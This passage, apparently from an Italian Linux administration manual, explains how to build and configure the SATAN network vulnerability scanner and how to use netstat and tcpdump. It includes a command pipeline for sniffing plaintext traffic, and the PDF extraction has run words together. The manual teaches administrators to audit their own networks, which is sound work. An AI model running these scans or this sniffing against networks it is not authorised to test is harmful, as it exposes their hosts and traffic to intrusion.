SATAN 3 (Security administration tool for analyzing networks, ovveroSANTA, per chi lo pre-ferisce), è un vecchio applicativo in grado di scandagliare uno o più elaboratori connessi in reteallo scopo di verificarne le debolezze.

Il difetto maggiore diSATAN è quello di essere un lavoro piuttosto vecchio e non più ag-giornato sulle nuove tecniche di attacco per le quali si vorrebbe poter verificare la solidità deipropri sistemi. Quindi,SATAN va bene come verifica di massima, cosa che comunque non ètrascurabile.

SATAN è un pacchetto applicativo composto da una serie di eseguibili binari, ognuno specificoper un tipo di verifica, una serie di programmiPerl e una serie di moduliHTML. In teoria sipotrebbe usareSATAN esclusivamente attraverso un programma per la navigazione, ma per ot-tenere questo si va incontro a una serie di complicazioni che forse non è il caso di affrontare, peril semplice fatto che non ne vale la pena e il risultato pratico non cambia. In queste sezioni verràmostrato come utilizzareSATAN, specificando quanto serve per avviare la scansione attraversola riga di comando e come analizzare il risultato ottenuto attraverso un navigatore.

189.3.1 Preparazione

SATAN non viene distribuito in forma già compilata. Si tratta di un pacchetto rivolto a personeesperte, per cui, reperireSATAN in forma già compilata e pronta da installare, è solo un sintomosospetto di una possibile manomissione.

La versione originale diSATAN potrebbe offrire delle difficoltà impreviste alla compilazione neisistemi GNU/Linux. A questo proposito esistono delle versioni accompagnate dafile di differen-ze appositi (patch), che risolvono i problemi. A titolo di esempio si suppone di avere ritrovato ilpacchetto‘satan-1.1.1.linux-3.src.rpm ’ .

SATAN è un pacchetto particolare e la sua destinazione predefinita nelfile system è al di fuoridelle collocazioni normali. Dovendo essere uno strumento esclusivamente nelle mani dell’am-ministratore, la sua collocazione più conveniente dovrebbe essere‘ /root/satan/ ’ . La ricom-pilazione del pacchetto potrebbe non giungere alla collocazione definitiva dei file, lasciandol’amministratore libero di scegliere.

# cd /tmp

# rpm --recompile /usr/src/redhat/SRPMS/satan-1.1.1.linux-3.src.rpm

3SATAN software non libero

Page 88: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2072 Verifica della vulnerabilità della propria rete

Al termine della compilazione,SATAN potrebbe essere stato collocato nella sua destinazionefinale predefinita, oppure in una directory transitoria, a partire da quella corrente. Nel caso par-ticolare del pacchetto indicato come esempio,SATAN si trova collocato sotto‘ ./satantmp/

root/satan/ ’ . Il tutto viene spostato nella directory‘ /root/ ’ .

# mv ./satantmp/root/satan /root

189.3.1.1 Navigatore

Il programma‘satan ’ che è scritto inPerl, se viene utilizzato senza argomenti avvia un naviga-tore; precisamente avvia quanto determinato in fase di configurazione prima della compilazionedei sorgenti. Se è stato installatoNetscape, sarà questo il navigatore predefinito, maNetscapepuò creare qualche problema, a causa delle particolarità dell’organizzazione diSATAN.

Lynx (o un altro navigatore senza grafica) sarebbe più che sufficiente per il lavoro che si vuole fareconSATAN; a tale proposito, conviene modificare il file‘ /root/satan/config/paths.pl ’ .

$MOSAIC="/usr/bin/netscape";

La riga mostrata va modificata come nel modo seguente:

$MOSAIC="/usr/bin/lynx";

189.3.2 Perl

SATAN dipende dall’interpretePerl, che quindi deve essere installato. Se per qualche motivonon si riesce ad avviare i programmiPerl, conviene controllare l’intestazione ed eventualmenteprovvedere a rendere disponibili icollegamenti necessari. In generale, questo problema non do-vrebbe esistere, dal momento che in fase di compilazione dei sorgenti vengono modificate questeintestazioni in modo da puntare all’interpretePerl installato effettivamente.

Un altro problema che può essere generato da questi programmiPerl è la configurazione dellevariabili per la localizzazione:‘LANG’ e la serie‘LC_* ’ . Se la loro configurazione non è correttain base all’impostazione del proprio sistema,Perl mostra una segnalazione di errore per ogniprogramma avviato, attraverso lostandard error.

perl: warning: Setting locale failed.perl: warning: Please check that your locale settings:

LC_ALL = "mia_locale",LANG = "it_IT.ISO-8859-1"

are supported and installed on your system.perl: warning: Falling back to the standard locale ("C").

Nell’esempio si mostra chePerl ha scoperto una definizione impropria della variabile‘LC_ALL’ ,dal momento che non esiste il tipo di localizzazione‘mia_locale ’ .

Per risolvere il problema, se non si trova la definizione giusta per la localizzazione, convieneeliminare la configurazione del variabili di localizzazione, oppure impostare‘LC_ALL’ al valore‘C’ .

# export LC_ALL=C

Page 89: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica della vulnerabilità della propria rete 2073

189.3.3 Configurazione

La configurazione diSATAN è contenuta in alcuni file collocati nella directory‘satan/

config/ ’ .

File Descrizione

‘satan/config/paths.pl ’

Un pezzo di programmaPerl per la definizione di alcune va-riabili contenenti i percorsi dei programmi utilizzati daSA-TAN. In questo file, in particolare, deve essere indicato ilpercorso del navigatore che si vuole utilizzare.

‘satan/config/paths.sh ’Un pezzo discript dishell per la definizione di alcune variabilidi ambiente, contenenti il riferimento ad alcuni programmiutilizzati.

‘satan/config/services ’ L’equivalente del file‘ /etc/services ’ , ma a uso personaledi SATAN.

‘satan/config/satan.cf ’ Configurazione del funzionamento diSATAN.

Tra tutti questi file, merita attenzione‘satan/config/satan.cf ’ . Dalla sua corretta configu-razione dipende il buon funzionamento diSATAN. Si tratta di un pezzo di filePerl, all’internodel quale si annotano una serie di assegnamenti a variabili di vario tipo (scalari,array,hash),secondo le regole diPerl. Di seguito vengono indicate alcune direttive più importanti.

# Where do we keep the data? This is just a default.$satan_data = "satan-data";

La variabile‘$satan_data ’ permette di definire il nome della directory all’interno della qualeinserire i file contenenti il rapporto delle scansioni fatte daSATAN. Questa directory discenderàda ‘satan/results/ ’ e solitamente, come mostra l’esempio, si tratta di‘satan/results/

satan-data/ ’ .

# Default attack level (0=light, 1=normal, 2=heavy).$attack_level = 2;

Il livello dell’attacco, definito attraverso la variabile‘$attack_level ’ , permette di specificaretre valori, da zero a due. L’attacco più pesante è rappresentato dal numero due.

# status file; keeps track of what SATAN is doing.$status_file = "status_file";

SATAN accumula la registrazione sommaria delle operazioni compiute all’interno di un file.Generalmente si tratta di‘satan/status_file ’ , come mostra l’esempio in cui si definisce lavariabile omonima.

# How far out from the original target do we attack? Zero means that we only# look at the hosts or network that you specify. One means look at neighboring# hosts, too. Anything over two is asking for problems, unless you are on the# inside of a firewall.$max_proximity_level = 1;

La variabile‘$max_proximity_level ’ permette di definire il cosiddetto livello di prossimità,cioè qualinodi scandire. In pratica, zero significa limitare la scansione all’uniconodo indicatocome punto di inizio, che rappresenta la scelta migliore fino a quando non si conosce l’uso diSATAN; uno indica aSATAN di provare tutti inodi vicini. Usando un valore superiore a due, siinizia in pratica una scansione su tutto ciò che è raggiungibile attraverso la rete (cosa da evitare).

# Attack level drops by this much each proximity level change$proximity_descent = 1;

Page 90: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2074 Verifica della vulnerabilità della propria rete

Per evitare la proliferazione degli attacchi, si può stabilire la riduzione del livello dell’attacco,ogni volta che si passa a uno strato più esterno dinodi, cioè ogni volta che si attraversa un livellodi prossimità.

# when we go below zero attack, do we stop (0) or go on (1)?$sub_zero_proximity = 0;

Attraverso la variabile‘$sub_zero_proximity ’ è possibile dire aSATAN cosa fare quandoil livello di attacco è arrivato sotto il numero zero. Assegnando zero si intende concludere lascansione; assegnando uno si intende proseguire fino all’esaurimento degli strati di prossimità.

# a question; do we attack subnets when we nuke a target?# 0 = no; 1 = primary target subnet$attack_proximate_subnets = 0;

È possibile dire aSATAN di attaccare l’intera sottorete di unnodo individuato. Generalmente,non si utilizza questa possibilità, a meno che si stia tentando di individuare un possibile elabo-ratore collocato nella propria rete locale senza permesso. Assegnando il valore uno alla variabile‘$attack_proximate_subnets ’ si ottiene l’attacco alla sottorete.

# Does SATAN run on an untrusted host? (0=no; 1=yes, this host may appear# in the rhosts, hosts.equiv or NFS export files of hosts that are being# probed).#$untrusted_host = 1;

Attraverso questa variabile, è possibile richiedere aSATAN una verifica della «fiducia» accordataal sistema locale presso quelli che vengono scandagliati. In pratica, se si assegna il valore unoalla variabile‘$untrusted_host ’ , SATAN tenta di accedere attraverso‘ rsh ’ presso inodi daanalizzare, verificando anche la disponibilità di directory esportate attraverso il protocollo NFS.

# If $only_attack_these is non-null, *only* hit sites if they are of this# type. You can specify a domain (podunk.edu) or network number# (192.9.9). You can specify a list of shell-like patterns with domains# or networks, separated by whitespace or commas.$only_attack_these = "brot.dg, 192.168";

Per evitare di sconfinare oltre la propria sottorete o il proprio dominio, è possibile utilizzare lavariabile ‘$only_attack_these ’ , a cui assegnare una stringa contenente un elenco di dominie di indirizzi IP parziali, come si vede nell’esempio.

# Stay away from anyone that matches these patterns.#$dont_attack_these = "gov, mil";

Nello stesso modo, è possibile evitare esplicitamente domini e indirizzi IP, attraverso l’uso dellavariabile‘$dont_attack_these ’ . Nell’esempio si vogliono evitare i domini‘gov ’ e ‘mil ’ .

# Set the following to nonzero if DNS (internet name service) is unavailable.#$dont_use_nslookup = 0;

PerSATAN è importante che il servizio DNS sia disponibile. Se non è così, si deve assegnare ilvalore uno alla variabile‘$dont_use_nslookup ’ .

# Should SATAN ping hosts to see if they are alive?#$dont_use_ping = 0;

SATAN utilizza ‘ping ’ per verificare la presenza deinodi. Nel caso si volesse evitare il suoutilizzo, si può assegnare il valore uno alla variabile‘$dont_use_ping ’ .

Il file di configurazione termina con la riga seguente. Si tratta di qualcosa che riguardaPerl e nondeve essere cambiato.

Page 91: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica della vulnerabilità della propria rete 2075

1;

189.3.4 Avvio del programma

‘satan ’ è il programmaPerl che si utilizza per la scansione deinodi da verificare e anche peravviare l’interfacciaHTML, attraverso un navigatore come definito con la variabile‘$MOSAIC’nel file ‘satan/config/paths.pl ’ .

satan [ opzioni] [ obiettivo_primario]

Se‘satan ’ viene avviato con l’indicazione di unnodo da controllare (attaccare), inizia l’opera-zione in base alla configurazione contenuta nel file‘satan/config/satan.cf ’ , con le variantiapportate attraverso le opzioni della riga di comando. Ciò che si ottiene alla fine dell’elabora-zione è l’aggiornamento dei file contenuti a partire dalla directory‘satan/results/ ’ . Per lalettura dei risultati, si utilizza normalmente il sistemaHTML, avviato attraverso‘satan ’ senzaargomenti.

Per utilizzare‘satan ’ , non occorre sistemare la variabile di ambiente‘PATH’ . Tuttavia, è ne-cessario che la directory corrente corrisponda alla posizione iniziale del pacchetto. Per esem-pio, se il tutto si trova a partire da‘ /root/satan/ ’ , occorrerà che questa sia la directorycorrente prima dell’avvio del programma.

Opzione Descrizione

-a 0| 1| 2 Permette di ridefinire il livello di attacco: zero è il minimo,due è il massimo.

-l 0| 1| 2Definisce il livello di prossimità: zero rappresenta solo ilnodo di partenza; uno inodi prossimi. Non è convenienteusare un valore superiore a due, perché questo rappresentaimplicitamente qualunquenodo raggiungibile.

-sAllargamento alla sottorete: con questa opzione, ogni voltache si individua unnodo si allarga la ricerca anche a tutta lasottorete (l’ultimo ottetto dell’indirizzo IP).

-v Visualizza le azioni compiute da‘satan ’ durante la suascansione.

• # ./satan roggen.brot.dg

Inizia la verifica delnodoroggen.brot.dg in base alla configurazione stabilita nel file‘satan/config/satan.cf ’ .

• # ./satan -s roggen.brot.dg

Come nell’esempio precedente, espandendo la scansione a tutta la sottorete a cui appartieneil nodo indicato.

• # ./satan

Avvia il navigatore con l’interfacciaHTML.

Page 92: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2076 Verifica della vulnerabilità della propria rete

189.3.5 Verifica del risultato

Il risultato dell’elaborazione (degli attacchi) diSATAN viene memorizzato all’interno di filecollocati a partire dalla directory‘satan/results/ ’ . Si tratta di file di testo che potrebberoessere interpretati così come sono, con qualche piccola difficoltà.

In alternativa, si può usare convenientemente un navigatore, avviato tramite l’eseguibile‘satan ’ .La figura189.1mostra ilmenù principale che si ottiene all’inizio.

Figura 189.1. Il menù principale che si ottiene quando l’eseguibile ‘satan ’ vieneavviato in modo da utilizzare il navigatore.

SATAN Control Panel

(Security Administrator Tool for Analyzing Networks)

* SATAN Data Management* SATAN Target selection* SATAN Reporting & Data Analysis* SATAN Configuration Management* SATAN Documentation* SATAN Troubleshooting

* Getting the Latest version of SATAN* Couldn’t you call it something other than "SATAN"?* ’Bout the SATAN image* ’Bout the authors

Dal menù principale, si seleziona normalmente il riferimentoReporting & Data Analysis , pervisualizzare il rapporto sulla scansione eseguita. Si ottiene un altromenù, con il quale selezionareil tipo di informazione desiderata.

Figura 189.2. Il menù che permette di accedere alle informazioni accumulate.

SATAN Reporting and Analysis

Vulnerabilities* By Approximate Danger Level* By Type of Vulnerability* By Vulnerability Count

Host Information* By Class of Service* By System Type* By Internet Domain* By Subnet* By Host Name

Trust* Trusted Hosts* Trusting Hosts

A titolo di esempio, la figura189.3mostra il responso di una scansione che ha rivelato alcunielementi di vulnerabilità. In corrispondenza di ognuna delle due voci si trova un riferimento cheporta a delle spiegazioni più dettagliate.

Figura 189.3. Esempio del responso di vulnerabilità di un nodo, distinto in base al tipo.

Vulnerabilities - By Type

Number of hosts per vulnerability type.

* unrestricted NFS export - 1 host(s)* remote shell access - 1 host(s)

Note: hosts may appear in multiple categories.

Page 93: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Verifica della vulnerabilità della propria rete 2077

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 94: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 190

Strumenti per il controllo e l’analisi del trafficoIPL’analisi del traffico della rete, sia per mezzo dell’intercettazione di tutti i pacchetti che attraver-sano una rete fisica, sia per mezzo del controllo di ciò che riguarda esclusivamente una singolainterfaccia di rete delnodo locale, è molto importante per comprendere i problemi legati allasicurezza e per scoprire inconvenienti di vario genere.

L’uso produttivo degli strumenti che vengono descritti in questo capitolo richiederebbe una pre-parazione adeguata sulla composizione dei pacchetti dei protocolli TCP/IP, diversamente si riescesolo a sfiorare la comprensione di quello che accade. Tuttavia, per quanto poco, un po’ di praticacon questi può essere utile in ogni caso.

190.1 Netstat

Netstat1 è un programma specifico di GNU/Linux, in grado di mostrare in modo agevole alcuneinformazioni contenute nella directory‘ /proc/net/ ’ . Le informazioni disponibili sono molte,anche troppe. In queste sezioni viene mostrato solo un uso limitato diNetstat, riferito ai protocolliTCP/IP.

Le informazioni disponibili riguardano esclusivamente la sfera delnodo locale, comprese leconnessioni che lo riguardano.

Netstat potrebbe essere utilizzato per fornire le stesse informazioni che si possono ottenere giàda ‘ route ’ , ‘ ifconfig ’ e in parte da‘ iptables ’ . In generale, comunque, questo non dovrebbeessere il suo uso normale, che qui non viene mostrato.

190.1.1 Avvio del programma

L’eseguibile‘netstat ’ emette attraverso lostandard output una serie di notizie riferite a tutti itipi di connessione disponibili, traendo le informazioni dai file virtuali della directory‘ /proc/

net/ ’ .

netstat [ opzioni]

Se ‘netstat ’ viene usato senza opzioni, mostra la situazione di tutti i tipi di collegamento,elencando isocket aperti. Se tra le opzioni appare l’indicazione di uno o più protocolli, leinformazioni che si ottengono si limitano a quanto richiesto espressamente.

Opzione Descrizione

-t | --tcp Richiede espressamente lo stato delle connessioni TCP.

-u | --udpRichiede espressamente lo stato deisocket che utilizzano ilprotocollo UDP.

--inet | --ipRichiede espressamente le informazioni che riguardano l’usodei protocolli TCP/IP.

-eRichiede di aggiungere l’indicazione dell’utente proprietariodel processo relativo.

-o Richiede di aggiungere l’indicazione dei timer di rete.

-a Elenca tutte le porte utilizzate, incluse quelle deiserventi inascolto.

-nMostra le informazioni in forma numerica: indirizzi IP,numeri di porta, numeri UID.

1net-tools GNU GPL

2078

Page 95: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2079

Segue la descrizione di alcuni esempi.

• # netstat --inet

Emette l’elenco deisocket di dominio Internet, ovvero tutte le comunicazioni aperte tra iprogrammi attraverso i protocolli TCP/IP.

• # netstat --inet -e

Come nell’esempio precedente, aggiungendo l’indicazione degli utenti proprietari deiprocessi che attuano le connessioni.

• # netstat --tcp -a

Mostra la situazione delle porte TCP, in particolare quelle dei servizi in ascolto.

190.1.2 Interpretazione del risultato

Gli elenchi restituiti daNetstat sono composti in forma tabellare. Di seguito appare la descrizionedei nomi delle colonne di queste.

Colonna Stato Descrizione

‘Proto ’Rappresenta il protocollo utilizzato in ogni porta attiva.Può trattarsi di‘ tcp ’ , ‘udp ’ e ‘ raw ’ .

‘Recv-Q ’ ,‘Send-Q ’

Rappresenta la coda di byte che sono stati ricevuti ma nonancora prelevati dal programma che utilizza la connessio-ne, o che sono stati trasmessi ma per i quali non è stataricevuta conferma dalnodo remoto.

‘Local

Address ’ ,‘Foreign

Address ’

Rappresenta rispettivamente l’indirizzo locale e quelloremoto, completo dell’indicazione della porta relativa.

‘State ’

Rappresenta lo stato della porta, indicato attraverso unaparola chiave tra quelle elencate di seguito. Lo stato ri-guarda prevalentemente le connessioni TCP, negli altricasi dovrebbe essere assente.

‘ESTABLISHED’ La porta ha una connessione in corso.‘SYN SENT’ La porta sta tentando di instaurare una connessione.‘SYN RECV’ È in corso l’inizializzazione della connessione.

‘FIN WAIT1 ’La porta è chiusa e la connessione è in corso diconclusione.

‘FIN WAIT2 ’La connessione è chiusa e la porta è in attesa dellaconferma dall’altra parte.

‘TIME WAIT’La porta è in attesa della conferma della conclusione dellaconnessione.

‘CLOSED’ La porta non è in uso.

‘CLOSE WAIT’La porte remota conclude la connessione ed è in attesa diconferma dell’altra parte.

‘LAST ACK’La parte remota chiude la connessione e la porta è chiusa:si è in attesa della conferma finale.

‘LISTEN ’La porta è in ascolto in attesa di connessioni in arrivo.Queste porte vengono indicate solo se si utilizza l’opzione‘ -a ’ .

‘CLOSING’Entrambe le porte stanno chiudendo la connessione, ma idati non sono stati inviati completamente.

‘UNKNOWN’ Lo stato della porta è sconosciuto.

‘User ’Il nome o il numero UID dell’utente proprietario dellaporta. Si ottiene questa informazione con l’opzione‘ -e ’ .

Page 96: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2080 Strumenti per il controllo e l’analisi del traffico IP

A titolo di esempio viene mostrato come può apparire una connessione TELNET tradinkel.brot.dg e roggen.brot.dg .

# netstat --tcp [ Invio ]

Active Internet connections (w/o servers)Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 0 roggen.brot.dg:1170 dinkel.brot.dg:telnet ESTABLISHEDtcp 0 0 dinkel.brot.dg:telnet roggen.brot.dg:1170 ESTABLISHED

190.2 Tcpdump

Tcpdump2 è lo strumento fondamentale per l’analisi del traffico che avviene nella rete fisica acui si è collegati. Permette sia di ottenere una visione sintetica dei pacchetti, sia di visualizzarneil contenuto in esadecimale. Inoltre, è possibile definire un filtro ai pacchetti da prendere inconsiderazione. Purtroppo, il suo utilizzo efficace richiede un’ottima conoscenza dei protocolliTCP/IP.

I pacchetti vengono analizzati solo nella prima parte, normalmente di 68 byte, perdendo le in-formazioni successive. Eventualmente, questa dimensione può essere aumentata, anche se ingenerale ciò è sconsigliabile dal momento che richiederebbe un tempo di elaborazione maggiore,portando anche alla perdita di pacchetti.

Tcpdump può generare un risultato in esadecimale, oppure può emettere i pacchetti così comesono. Per poter interpretare il contenuto dei pacchetti, è necessario conoscere la loro struttura,in base ai protocolli relativi. A titolo di esempio, viene mostrato un programmaPerl elementare,per filtrare i caratteri di controllo ASCII:

#!/usr/bin/perl

while ($riga = <STDIN>)

$riga =~ tr/\x00-\x1F//;$riga =~ tr/\x7F//;$riga =~ tr/\xFF//;print STDOUT ("$riga");

Supponendo che questo sia il programma‘ filtro ’ , si può spiare in modo molto banale ciò chepassa per la rete con il comando seguente:

# tcpdump -l -i eth0 -s 0 -w - | filtro

La cosa diventa ancora più semplice se si vuole utilizzare il programma‘strings ’ che dovrebbeessere disponibile in tutti i sistemi standard:

# tcpdump -l -i eth0 -s 0 -w - | strings

190.2.1 Avvio del programma

‘ tcpdump ’ emette le informazioni tratte dalla parte iniziale dei pacchetti che possono essereintercettati attraverso un’interfaccia di rete, che corrispondono a una data espressione.

tcpdump [ opzioni] [ espressione]

2Tcpdump software libero con licenza speciale

Page 97: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2081

Opzione Descrizione

-i interfacciaDefinisce l’interfaccia di rete attraverso cui‘ tcpdump ’ deveporsi in ascolto. Se non viene specificata,‘ tcpdump ’ scegliela prima, ma potrebbe trattarsi anche di‘ lo ’ (loopback).

-lFiltra l’output attraverso unamemoria tampone, in modo dagestire meglio lepipeline.

-nFa in modo di non convertire gli indirizzi numerici e i numeridi porta nei nomi corrispondenti.

-s n_byte

Permette di definire esplicitamente la quantità di byte da pren-dere in considerazione per ogni pacchetto. In modo predefini-to vengono trattati solo i primi 68 byte. Quando la lunghezzaè troppo breve per dare informazioni sufficienti, se viene iden-tificato almeno il tipo di protocollo, quello che si ottiene è unastringa nella forma‘ [| protocollo] ’ .

-w fileMemorizza i pacchetti grezzi all’interno di un file, invece dianalizzarli ed emetterne il risultato. Il contenuto di questo filepuò essere elaborato successivamente con l’opzione‘ -r ’ .

-r fileLegge i pacchetti da quanto accumulato precedentementein un file attraverso l’opzione‘ -w ’ . In pratica, permette dianalizzare quanto raccolto in precedenza.

-x

Si limita a emettere i pacchetti in forma esadecimale. Per laprecisione, viene emessa solo la parte dei pacchetti che rientranel limite fissato con l’opzione‘ -s ’ , ovvero i primi 68 byte sequesta non è stata indicata.

-F filePermette di fornire l’espressione di filtro dei pacchettiattraverso un file indicato con questa opzione.

Segue la descrizione di alcuni esempi.

• # tcpdump -i eth0

Emette attraverso lostandard output tutto il traffico che può essere intercettato per mezzodell’interfaccia‘eth0 ’ .

• # tcpdump -n -i eth0

Come nell’esempio precedente, ma le informazioni sugli indirizzi e sui numeri di portavengono indicati in forma numerica.

• # tcpdump -x -i eth0

Emette attraverso lostandard output il contenuto della prima parte dei pacchetti che possonoessere intercettati per mezzo dell’interfaccia‘eth0 ’ . Questi dati vengono espressi in formaesadecimale.

190.2.2 Espressioni

L’utilizzo di Tcpdump non è molto utile se non viene definito un filtro a ciò che si vuole ana-lizzare. Per questo motivo, dopo le opzioni normali della riga di comando può essere indicataun’espressione, più o meno articolata: solo i pacchetti che soddisfano la condizione espressavengono presi in considerazione.

Questa espressione contiene spesso degli spazi: può essere fornita aTcpdump in un argomentounico utilizzando dei delimitatori, oppure può essere composta da più argomenti in sequenza.

Page 98: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2082 Strumenti per il controllo e l’analisi del traffico IP

Inoltre, attraverso l’opzione‘ -F ’ è possibile fornire l’espressione contenuta in un file; in tal caso,l’espressione può essere scritta su più righe, senza bisogno di simboli di continuazione.

Le espressioni diTcpdump sono composte da primitive che possono essere raggruppate per mez-zo delle parentesi tonde (in modo da evitare ambiguità nell’ordine di risoluzione) e connesseattraverso operatori booleani:

! | notun punto esclamativo o la parola chiave‘not ’ rappresenta lanegazione logica;

&& | anduna doppia e-commerciale (‘&&’ ) o la parola chiave‘and ’rappresenta il concatenamento, ovvero un AND logico;

|| | oruna doppia barra verticale (‘ || ’ ) o la parola chiave‘or ’rappresenta l’alternanza, ovvero un OR logico.

All’interno delle primitive possono apparire riferimenti a diversi tipi di entità, che vengonodescritte brevemente.

• Gli indirizzi di origine o di destinazione, riferiti al protocollo TCP/IP, possono essere in-dicati attraverso nomi di dominio o numeri IP. In particolare, è possibile fare riferimento auna sottorete indicando il numero IP parziale.

• Le porte possono essere identificate per numero o per nome.

• Per identificare i protocolli si possono usare delle parole chiave precise; in particolare:‘ether ’ , ‘ fddi ’ , ‘ ip ’ , ‘arp ’ , ‘ rarp ’ , ‘decnet ’ , ‘ tcp ’ , ‘udp ’ .

Il protocollo identificato dalle parole chiave elencate dovrebbe essere intuitivo, almeno peri casi più comuni (IP, ARP, RARP, TCP e UDP). Le prime due parole chiave sono equiva-lenti: ‘ether ’ e ‘ fddi ’ rappresentano semplicemente il secondo livello, collegamento dati,del modelloISO-OSI.

Primitiva Descrizione

dst host host

src host host

host host

Se viene usata la parola chiave‘dst ’ , si avvera se il cam-po della destinazione IP corrisponde alnodo indicato; se vie-ne usata la parola chiave‘src ’ , si avvera se il campo del-l’origine IP corrisponde alnodo indicato; altrimenti, in man-canza di tali parole chiave, si avvera se ilnodo corrispondeindifferentemente all’origine o alla destinazione.

ether dst host_ethernet

ether src host_ethernet

ether host host_ethernet

Definisce un indirizzoEthernet numerico o derivato dal con-tenuto del file‘ /etc/ethers ’ . Come si può intuire, nel pri-mo caso si fa riferimento a una destinazione, nel secondo aun’origine, nel terzo non si fa differenza.

gateway host

Si avvera nel caso i pacchetti utilizzino ilnodo indicato co-me gateway, ovvero, quando l’indirizzoEthernet dell’origi-ne o della destinazione non appartiene né all’indirizzo IPdell’origine, né a quello della destinazione.

dst net rete

src net rete

net rete

Se viene usata la parola chiave‘dst ’ , si avvera se il campodella destinazione IP appartiene alla rete indicata; se vieneusata la parola chiave‘src ’ , si avvera se il campo dell’origi-ne IP appartiene alla rete indicata; altrimenti, in mancanza ditali parole chiave, si avvera se la rete corrisponde indifferen-temente all’origine o alla destinazione.La rete può essere indicata con un numero IP incompleto, op-pure attraverso l’aggiunta di unamaschera di rete. Per cui, lasintassi potrebbe essere estesa nel modo seguente:

Page 99: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Strumenti per il controllo e l’analisi del traffico IP 2083

Primitiva Descrizione

dst net rete ←→| indirizzo_ip mask maschera_ip←

→| indirizzo_ip/ lunghezza_maschera

src net rete ←→| indirizzo_ip mask maschera_ip←

→| indirizzo_ip/ lunghezza_maschera

net rete ←→| indirizzo_ip mask maschera_ip←

→| indirizzo_ip/ lunghezza_maschera

In tal caso, lamaschera di rete può essere indicata attraversoun numero IP corrispondente, oppure attraverso la quantità dibit a uno nella parte iniziale di tale maschera.

dst port porta

src port porta

port porta

Definisce una porta TCP o UDP, trattandosi rispettivamen-te di un’origine, di una destinazione, o di entrambe le coseindifferentemente.

less lunghezza ←→| len <= lunghezza

greather lunghezza ←→| len >= lunghezza

Si avvera se la dimensione del pacchetto è inferiore o uguale,oppure maggiore o uguale alla quantità di byte indicata.

ether proto protocollo

Definisce la selezione di un protocolloEthernet attraverso unnumero oppure un nome:‘ ip ’ , ‘arp ’ , ‘ rarp ’ . Dal momentoche questi nomi sono anche parole chiave perTcpdump, van-no indicati facendoli precedere da una barra obliqua inversa(‘ \ ’) (ciò tenendo conto anche del tipo dishell utilizzato; nelcaso dellashell Bash e di altre, occorre raddoppiare la barraobliqua inversa).

ip proto protocollo

Definisce la selezione di un protocollo IP attraverso un nu-mero, oppure un nome:‘ icmp ’ , ‘ igrp ’ , ‘udp ’ , ‘nd ’ , ‘ tcp ’ .Tuttavia, i nomi‘ icmp ’ , ‘ tcp ’ e ‘udp ’ vanno preceduti da unabarra obliqua inversa (‘ \ ’ ) per evitare che vengano interpretatiin modo speciale daTcpdump.

[ ether ] broadcast Si avvera se il pacchetto è di tipoEthernetbroadcast.ip broadcast Si avvera per un pacchetto IPbroadcast.

[ ether ] multicast Si avvera se il pacchetto è di tipoEthernetmulticast.ip multicast Si avvera per un pacchetto IPmulticast.

Segue la descrizione di alcuni esempi.

• # tcpdump host dinkel.brot.dg

Individua ed emette tutto il traffico riferito adinkel.brot.dg .

• # tcpdump host dinkel.brot.dg and host roggen.brot.dg

Individua ed emette tutto il traffico riferito simultaneamente adinkel.brot.dg e aroggen.brot.dg . In pratica si limita a estrarre il traffico tra questi duenodi.

• # tcpdump host dinkel.brot.dg and \(host roggen.brot.dg ←→or host weizen.brot.dg\)

Page 100: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2084 Strumenti per il controllo e l’analisi del traffico IP

Individua esclusivamente il traffico intrattenuto tradinkel.brot.dg eroggen.brot.dg , oppure tradinkel.brot.dg e weizen.brot.dg . Le pa-rentesi tonde sono state protette attraverso la barra obliqua inversa per evitare una diversainterpretazione da parte dellashell.

